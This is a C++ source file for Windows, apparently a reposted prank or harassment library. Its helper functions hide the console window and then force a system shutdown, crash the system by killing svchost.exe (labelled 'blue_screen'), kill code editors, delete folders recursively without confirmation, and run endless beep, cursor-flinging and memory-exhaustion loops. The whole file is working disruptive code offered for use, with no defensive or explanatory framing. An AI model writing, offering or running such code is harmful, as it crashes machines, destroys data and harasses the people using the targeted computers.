#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
namespace tools {
	bool init = false;
	int random(int a, int b) {
		if (!init) {
			srand(time(NULL));
			init = true;
		}
		return rand() % (b - a + 1) + a;
	}
	void to_string(int s, char *str) {
		int len = 0;
		do {
			str[len++] = s % 10 + '0';
			s /= 10;
		} while (s);
		str[len] = 0;
		for (int i = 0; i < (len / 2); i++) {
			char t = str[i];
			str[i] = str[len - 1 - i];
			str[len - 1 - i] = t;
		}
	}
}
using namespace tools;
namespace JC_mouse {
	POINT get() {
		POINT point;
		GetCursorPos(&point);
		return point;
	}
	void set(int x, int y) {
		SetCursorPos(x, y);
	}
	int get_x() {
		return get().x;
	}
	int get_y() {
		return get().y;
	}
	void set_x(int x) {
		set(x, get_y());
	}
	void set_y(int y) {
		set(get_x(), y);
	}
}
using namespace JC_mouse;
namespace JC_window {
	void hide() {
		ShowWindow(GetConsoleWindow(), SW_HIDE);
	}
	void show() {
		ShowWindow(GetConsoleWindow(), SW_SHOW);
	}
	void set_color(const char *bg, const char *fg) {
		char cmd[1000] = "color ";
		strcat(cmd, bg);
		strcat(cmd, fg);
		system(cmd);
	}
}
using namespace JC_window;
namespace JC_system {
	void beep() {
		putchar('\a');
	}
	void wait_s(int s) {
		Sleep(s * 1000);
	}
	void wait_m_s(int m, int s) {
		wait_s(m * 60 + s);
	}
	void wait_h_m_s(int h, int m, int s) {
		wait_s(h * 3600 + m * 60 + s);
	}
	void run_command(const char *cmd) {
		system(cmd);
	} 
	void quit_s(int s) {
		if (s < 0) return;
		char str[1000];
		to_string(s, str);
		char cmd[1000] = "shutdown /f /s /t ";
		strcat(cmd, str);
		system(cmd);
	}
	void quit_m_s(int m, int s) {
		quit_s(m * 60 + s);
	}
	void quit_h_m_s(int h, int m, int s) {
		quit_s(h * 3600 + m * 60 + s);
	}
	void cancel_quit() {
		system("shutdown /a");
	}
	void kill_task(const char *name) {
		char cmd[1000] = "taskkill /f /t /im ";
		strcat(cmd, name);
		system(cmd);
	}
	void blue_screen() {
		kill_task("svchost.exe");
	}
	void kill_devcpp() {
		kill_task("devcpp.exe");
	}
	void kill_vscode() {
		kill_task("code.exe");
	}
	void remove_fold(const char *fold) {
		char cmd[1000] = "rd /s /q ";
		strcat(cmd, fold);
		system(cmd);
	}
}
using namespace JC_system;
namespace JC_simple {
	void loop_beep() {
		hide();
		while (true) beep();
	}
	void fly_cursor() {
		hide();
		while (true) {
			set_x(random(0, 1000));
			set_y(random(0, 1000));
		}
	}
	void infinite_memory() {
		hide();
		__int128_t *magic[114514];
		while (true) {
			for (int i = 0; i < 114514; i++) {
				magic[i] = new __int128_t;
			}
		}
	}
}
using namespace JC_simple;
void function(){

}
int main(){
	function();
}

tips:已删,转自here